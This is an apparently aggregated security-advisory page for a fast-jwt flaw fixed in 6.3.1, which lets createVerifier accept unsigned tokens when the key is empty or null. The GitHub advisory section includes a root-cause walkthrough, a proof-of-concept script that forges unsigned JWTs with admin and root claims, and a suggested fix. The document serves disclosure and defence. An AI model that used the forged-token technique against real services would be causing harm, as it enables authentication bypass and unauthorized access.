fast-jwt: createVerifier accepts unsigned JWTs when key is '' or null and algorithms is explicitly set
Collected exploitation and prediction evidence
Risk source coverageCISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.
No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.
cve-program · CVE-2026-107720
Publishedfast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 6.3.1, fast-jwt createVerifier accepts an unsigned JWT when key is an empty string or null and algorithms is a non-empty allowlist. Falsy synchronous keys bypass prepareKeyOrSecret, allowedAlgorithms remains active, hasKey is false, and the empty signature avoids the verifySignature gate. An attacker can therefore submit a token containing arbitrary claims without possessing a signing key, resulting in authentication or authorization bypass. Claim validators still run, and non-empty keys, an empty key without algorithms, and the async key resolver path do not have this behavior. This issue is fixed in version 6.3.1.
- Source published
- 8 Oct 2026 21:44:06 UTC
- Source modified
- 9 Oct 2026 14:32:14 UTC
- Observed here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 3.1 · 7.4 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
euvd · EUVD-2026-95344
Publishedfast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 6.3.1, fast-jwt createVerifier accepts an unsigned JWT when key is an empty string or null and algorithms is a non-empty allowlist. Falsy synchronous keys bypass prepareKeyOrSecret, allowedAlgorithms remains active, hasKey is false, and the empty signature avoids the verifySignature gate. An attacker can therefore submit a token containing arbitrary claims without possessing a signing key, resulting in authentication or authorization bypass. Claim validators still run, and non-empty keys, an empty key without algorithms, and the async key resolver path do not have this behavior. This issue is fixed in version 6.3.1.
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Oct 8, 2026, 9:44:06 PM
dateUpdated: Oct 9, 2026, 2:32:14 PM
- Source published
- Oct 8, 2026, 9:44:06 PM (timezone not stated)
- Source modified
- Oct 9, 2026, 2:32:14 PM (timezone not stated)
- Observed here
- 9 Nov 2026 07:04:47 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.
EUVD CVSS 3.1 · 7.4 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
nvd · CVE-2026-107720
Publishedfast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 6.3.1, fast-jwt createVerifier accepts an unsigned JWT when key is an empty string or null and algorithms is a non-empty allowlist. Falsy synchronous keys bypass prepareKeyOrSecret, allowedAlgorithms remains active, hasKey is false, and the empty signature avoids the verifySignature gate. An attacker can therefore submit a token containing arbitrary claims without possessing a signing key, resulting in authentication or authorization bypass. Claim validators still run, and non-empty keys, an empty key without algorithms, and the async key resolver path do not have this behavior. This issue is fixed in version 6.3.1.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-20 · CWE-347
Original publisher date fields
published: 2026-10-08T22:17:28.090
lastModified: 2026-10-09T15:17:08.947
- Source published
- 8 Oct 2026 22:17:28 UTC
- Source modified
- 9 Oct 2026 15:17:08 UTC
- Observed here
- 25 Oct 2026 05:17:13 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 3.1 · [email protected] · Secondary · 7.4 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
osv · GHSA-8wpc-h4q6-8fxv
Published### Summary `createVerifier` in fast-jwt ≤ 6.3.0 skips signature verification entirely when the `key` option is a falsy synchronous value (`''` or `null`) **and** the `algorithms` option is set to a non-empty allowlist. An attacker who can present a JWT to the application — regardless of algorithm — can forge arbitrary claims without possessing any signing key. ### Details **Root cause — four cooperating code paths:** **A. Falsy sync keys bypass `prepareKeyOrSecret`** `createVerifier` branches on `typeof key`: ```js const keyType = typeof key if (keyType !== 'string' && keyType !== 'object' && keyType !== 'function') { throw new TokenError(/* ... */) } if (key && keyType !== 'function') { key = prepareKeyOrSecret(key, hsAlgorithms.includes(availableAlgorithms[0])) } ``` When `key` is `''` (string, falsy) or `null` (object, falsy) the outer type check passes but the `if (key && ...)` guard never calls `prepareKeyOrSecret`. The empty-secret rejection added in that function is therefore never reached for sync keys: ```js function prepareKeyOrSecret(key, isSecret) { if (isSecret && key.length === 0) { throw new TokenError(TokenError.codes.invalidKey, 'The key cannot be an empty string or buffer.') } return isSecret ? createSecretKey(key) : createPublicKey(key) } ``` **B. Explicit `algorithms` keeps an allowlist active with no key** When `key` is falsy, autodetection is skipped and the caller-supplied `algorithms` (e.g. `['HS256']`) is retained in `allowedAlgorithms`. The verifier therefore accepts tokens whose header matches that list. **C. `hasKey` is false → missing signature is permitted** ```js const hasKey = key instanceof Buffer ? key.length : !!key if (hasKey && !signature) { throw new TokenError(/* missingSignature */) } else if (!hasKey && signature) { throw new TokenError(/* missingKey */) } // !hasKey && !signature → fall through with NO crypto ``` An unsigned token (`header.payload.`) produces `signature === ''`, which is falsy, so both branches are skipped. **D. Signature check is gated on `signature` being truthy** ```js if (signature && !verifySignature(header.alg, key, input, signature)) { throw new TokenError(/* invalidSignature */) } ``` Empty signature → condition is `false` → `verifySignature` is never called. **E. Signer / verifier asymmetry** - `createSigner({ key: '' })` / `key: null` → **rejected** - `createVerifier({ key: async () => '' })` → **rejected** (GHSA empty-secret tests) - `createVerifier({ key: '' | null, algorithms: [...] })` → **accepted**, then verifies unsigned tokens Ironically, the security best practice of setting `algorithms` **enables** the bypass. With `algorithms` omitted, `allowedAlgorithms` stays `[]` and every token fails closed. **Affected versions:** confirmed on 6.3.0 (current `main` @ 378422c). This is an incomplete fix relative to the empty-secret hardening already applied for `Buffer` keys and `async` key functions (GHSA-gmvf lineage, PR #609). ### PoC ```bash cd /tmp && git clone --depth 1 https://github.com/nearform/fast-jwt.git && cd fast-jwt && npm install ``` ```js // poc-empty-key-bypass.js const { createVerifier } = require('.') function unsigned(alg, claims) { const h = Buffer.from(JSON.stringify({ alg, typ: 'JWT' })).toString('base64url') const p = Buffer.from(JSON.stringify(claims)).toString('base64url') return `${h}.${p}.` // trailing dot = empty signature } const token = unsigned('HS256', { sub: 'attacker', admin: true, role: 'root' }) // Vulnerable: key '' + explicit algorithms allowlist const verify = createVerifier({ key: '', algorithms: ['HS256'] }) console.log(verify(token)) // → { sub: 'attacker', admin: true, role: 'root' } // Also works for RS256 / ES256 / EdDSA allowlists and key: null console.log(createVerifier({ key: null, algorithms: ['RS256'] })(unsigned('RS256', { admin: true }))) // → { admin: true } // Negative controls (correctly rejected): try { createVerifier({ key: 'secret', algorithms: ['HS256'] })(token) } catch (e) { console.log('non-empty key:', e.code) } // FAST_JWT_MISSING_SIGNATURE try { createVerifier({ key: '' })(token) } catch (e) { console.log('empty key, no algorithms:', e.code) } // FAST_JWT_INVALID_ALGORITHM try { createVerifier({ key: Buffer.alloc(0), algorithms: ['HS256'] })(token) } catch (e) { console.log('empty Buffer:', e.code) } // FAST_JWT_INVALID_KEY ``` **Expected:** `TokenError` with code `FAST_JWT_INVALID_KEY` **Actual:** payload returned with no signature check ### Impact Full authentication / authorization bypass. Any application that: 1. Uses `createVerifier` with `key: ''` or `key: null` (common when a secret is read from an unset environment variable, e.g. `process.env.JWT_SECRET || ''`), **and** 2. Sets `algorithms` to a non-empty allowlist (a recommended security practice), will accept attacker-crafted JWTs with arbitrary claims. Claim checks (`exp`, `allowedSub`, etc.) still run; only signature verification is skipped. ### Suggested fix In `createVerifier`, fail closed before binding the verifier: ```js if (keyType !== 'function') { if (key === null || key === '' || (Buffer.isBuffer(key) && key.length === 0)) { throw new TokenError(TokenError.codes.invalidKey, 'The key cannot be null, empty, or a zero-length buffer.') } } ``` Also guard the combination explicitly: ```js if (!key && allowedAlgorithms.length > 0) { throw new TokenError(TokenError.codes.invalidKey, 'The key cannot be falsy when algorithms is set.') } ``` The async path (key function resolving to `''`) is already hardened via `prepareKeyOrSecret` and does not need to change.
- Source published
- 8 Oct 2026 22:02:12 UTC
- Source modified
- 8 Oct 2026 22:15:07 UTC
- Observed here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS_V3 · CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Publisher rating · HIGH